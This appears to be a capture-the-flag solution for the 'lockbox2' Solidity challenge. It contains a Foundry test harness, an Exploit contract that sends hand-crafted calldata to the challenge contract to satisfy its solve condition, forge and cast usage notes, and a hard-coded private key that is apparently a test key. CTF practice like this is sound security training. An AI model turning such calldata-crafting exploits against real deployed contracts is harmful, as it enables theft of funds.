lockbox2.t.sol


// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

import "forge-std/Test.sol";
import "../src/lockbox2/public/contracts/Setup.sol";
import "../src/lockbox2/public/contracts/Exploit.sol";

bytes constant SIXTY_FOUR_ZEROS = "0000000000000000000000000000000000000000000000000000000000000000"; // ctrlc+v on handcrafted calldata
address constant CREATE2_FACTORY = 0x4e59b44847b379578588920cA78FbF26c0B4956C;
/*
Commands:
# Testing command
forge test --mp ./test/lockbox2.t.sol --mc Tester --fork-url $ANVIL_URL -vvvvv

# Debug command
forge test --mp ./test/lockbox2.t.sol --mc Tester --debug <function> --fork-url $CTF_URL

# Script command
forge script script/lockbox2.s.sol:Scripter --rpc-url $CTF_URL --private-key $CTF_PRIVATE_KEY --broadcast -vvvvv

# Debug broadcasted tx:
cast run <TXHASH> -d --rpc-url $CTF_URL

# Exploratory
forge inspect <path>:<ContractName> storage --pretty
https://ethervm.io/decompile
https://library.dedaub.com/decompile
panoramix <bytecode>
*/


contract Tester is Test {
    Setup setup;
    address payable setupAddress;
    Lockbox2 challenge;
    address payable challengeAddress;
    Exploit exploit;
    address payable exploitAddress;
    bytes32 privatekey = 0x00373c0f6cd01cf0b0f383308827bf8079293059ccd4bd1264a61fc4590062ae;
    address payable publickey;

    function setUp() public {
        setup = new Setup();
        setupAddress = payable(address(setup));
        challenge = setup.lockbox2();
        challengeAddress = payable(address(challenge));
        publickey = payable(address(uint160(uint256(keccak256(abi.encodePacked(privatekey))))));
        publickey.transfer(10 ether);

        // use contest private key to send in ether
        // then use coded private key to solve challenge
    }

    // function testIsSolved() public {
    //     // useful to run at beginning to find storage slots .isSolved() uses
    //     vm.record();
    //     setup.isSolved();
    //     vm.accesses(challengeAddress);
    // }

    function testExploit() public {
        // vm.createSelectFork(vm.rpcUrl("paradigm"));
        // console2.log("Bal after setup: setup: %s, challenge: %s", setupAddress.balance, challengeAddress.balance);

        exploit = new Exploit{value: 100 ether}(setup, challenge);
        exploitAddress = payable(address(exploit));

        // // alternatively use etk code as exploit
        // bytes memory etkCode = etkLoad();
        // address _addr;
        // assembly {
        //     _addr := create(0, add(initcode, 0x20), mload(initcode))
        // }
        // exploitAddress = address(_addr);

        // console2.log("Bal after exp-deployed: setup: %s, challenge: %s, exploit: %s", setupAddress.balance, challengeAddress.balance, address(exploit).balance);

        exploit.finalize();
        // console2.log("Bal post finalize: setup: %s, challenge: %s, exploit: %s", setupAddress.balance, challengeAddress.balance, address(exploit).balance);
        
        console2.log("Solved: %s", exploit.checkSolved());

    }


    function etkLoad() public returns (bytes memory etkCode){
        // Helper function to load handcrafted EVM code from a file.
        // typically used as:
        //    
        //    bytes memory etkCode = etkLoad();
        //    vm.etch(someAddress, etkCode);
        //    someAddress.call(hex"69696969");

        string[] memory inputs = new string[](2);
        // /**
        //  * windows: scripts/compile.bat
        //  * linux  : scripts/compile.sh
        //  */
        inputs[0] = "./script/compile.sh";

        // // path/to/contract.etk
        inputs[1] = "./src/lockbox2/public/contracts/exploit.etk";

        etkCode = vm.ffi(inputs);
    }

    fallback() external payable {}
}

exploit

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;

import './Setup.sol';
contract Exploit {

    Setup public setup;
    address payable public setupAddress;
    Lockbox2 public challenge;
    address payable public challengeAddress;
    

    constructor(Setup _setup, Lockbox2 _challenge) payable {
        setup = _setup;
        setupAddress = payable(address(setup));
        challenge = _challenge;
        challengeAddress = payable(address(challenge));
        
    }

    function finalize() external {
        // a = 131 = 0x83
        // b = 257 = 0x101
        // c = 1 = 1
        // bytes memory solveData = hex"890d6908000000000000000000000000000000000000000000000000000000000000008300000000000000000000000000000000000000000000000000000000000001010000000000000000000000000000000000000000000000000000000000000001";
        bytes memory solveData = hex"890d69080000000000000000000000000000000000000000000000000000000000000083000000000000000000000000000000000000000000000000000000000000010100000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000001";
        // bytes memory solveData = hex"890d69080000000000000000000000000000000000000000000000000000000000000005000000000000000000000000000000000000000000000000000000000000000300000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000001";
        challengeAddress.call(solveData);
    }

    function checkSolved() public view returns(bool) {
        return setup.isSolved();
    }

    fallback() external payable {

    }
}